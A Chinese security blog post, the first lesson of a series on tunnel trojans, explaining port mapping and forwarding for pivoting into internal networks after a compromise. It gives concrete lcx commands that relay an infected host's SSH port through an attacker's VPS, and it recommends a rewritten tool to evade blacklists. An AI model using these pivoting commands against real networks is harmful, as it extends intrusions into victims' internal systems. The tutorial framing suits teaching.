教你学木马攻防 | 隧道木马 | 第一课
阅读本文大概需要3分钟,置顶公众号哟。
隧道木马第一课
今天开始讲讲木马攻防,感觉这些内容大家应该会更感兴趣一些,就从隧道木马说起。为什么会有隧道木马这一说呢?这是根据通信协议进行分类的。讲隧道木马之前,先讲讲端口映射和转发。端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义。
第一节
场景1 端口映射
端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景。
一个hacker通过扫描暴露到公网中的主机A ,主机A开放了一些敏感端口,而且是弱口令,导致主机A被hacker完全控制。
接着hacker就想往公司内网中渗透,通过在主机A监控流量或者扫描的方式,发现了主机B,但是主机B只能由主机A进行访问,开放了80端口,而且没有公网ip。
如果hacker想直接访问主机B的 80端口,对上面的Web服务进行继续渗透,这就需要进行端口映射,让hacker可以远程连接到80端口。
从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网ip的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的ip上了。
第二节
场景2 端口转发
端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示。
hacker位于主机A,主机A可能是个人电脑,也可能是hacker控制的主机。
hacker通过发送恶意邮件的方式给主机B,主机B的用户点开邮件,运行恶意木马导致主机B被感染,就成了我们俗称的“肉鸡”。虽然已经有木马运行在主机B中,但是由于主机B不在公网中,hacker无法访问到主机B。
主机B运行着ssh服务,开放着22端口,hacker如果想在主机A上直接连接主机B的22端口,执行shell命令,这就需要端口转发。
那么木马怎么实现端口转发,才能让hacker访问主机B的22端口呢? 这就需要一台主机C,一个公网的VPS,去阿里云或者腾讯云买。木马的服务端运行在主机C,同时监听两个端口 port1 与port2,木马的客户端运行在主机B,分别主动连接主机B的22端口和主机C的port2,而hacker只需要主动连接主机C的port1,这样就打通了到主机B 22端口的线路。如下图所示。
第三节
lcx
lcx是一款内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。这个工具很早就已经有了,现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。代码如下:
https://github.com/windworst/LCX/
下面说一下它的使用以及功能说明:
Usage of Packet Transmit:
./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
./lcx -about
[options:]
-listen <local port1> <local port2>
-tran <local port> <remote host> <remote port>
-slave <remote host1> <remote port1> <remote host2> <remote port2>
-hex : hex mode data dump
-text : text mode data dump
-log : save transfer log
对于场景1,可以使用lcx的tran模式来实现。假设主机A 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放80端口。 在主机A上运行 :
./lcx -tran 8080 192.168.1.5 80
这个时候,hacker只要连接到主机A的8080端口,即可访问到主机B的80端口。
对于场景2,使用lcx的listen和slave模式来实现。假设主机C 公网ip 10.10.10.1,主机B 内网ip为192.168.1.5,开放22端口。 在主机C上监听8080和8081端口:
./lcx -listen 8080 8081
在主机B上连接22端口,并连接主机C的8081端口:
./lcx -slave 192.168.1.5 22 10.10.10.1 8081
这个时候,hacker只需要连接ip10.10.10.1的8080端口,即可直接连接到22端口,执行命令。
第四节
取代lcx
使用工具很简单,但是对这些工具的封锁也很简单。这些开源的网络安全工具早就处于防御端的黑名单里。因此自己写一个类似的工具也是一项必备的能力。 在github中就有这样类似的项目:
https://github.com/cw1997/NATBypass
代码很简单,只是单个golang文件,仿照lcx是实现了listen,tran和slave功能。关键的代码很简单,对应了下图中三个红框圈住的三个函数。
第五节
最后
如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。
关注公众号:七夜安全博客
回复【7】:领取 人工智能数学基础 教程
回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程
回复【3】:领取 某学院 机器学习 教程
回复【4】:领取 爬虫 教程
回复【5】:领取编译原理 教程
回复【6】:领取渗透测试教程
知识星球已经70多人了,价格119元。由于精力有限,暂时不接收新会员,采用邀请制,满足下面两个中任意一个严苛条件,请在后台联系我:
1.推荐30个好友关注本公众号,将加入的30名好友名称在后台发给我。
2.2019年前三个月发的每篇文章均转发到朋友圈,每篇点赞数>10。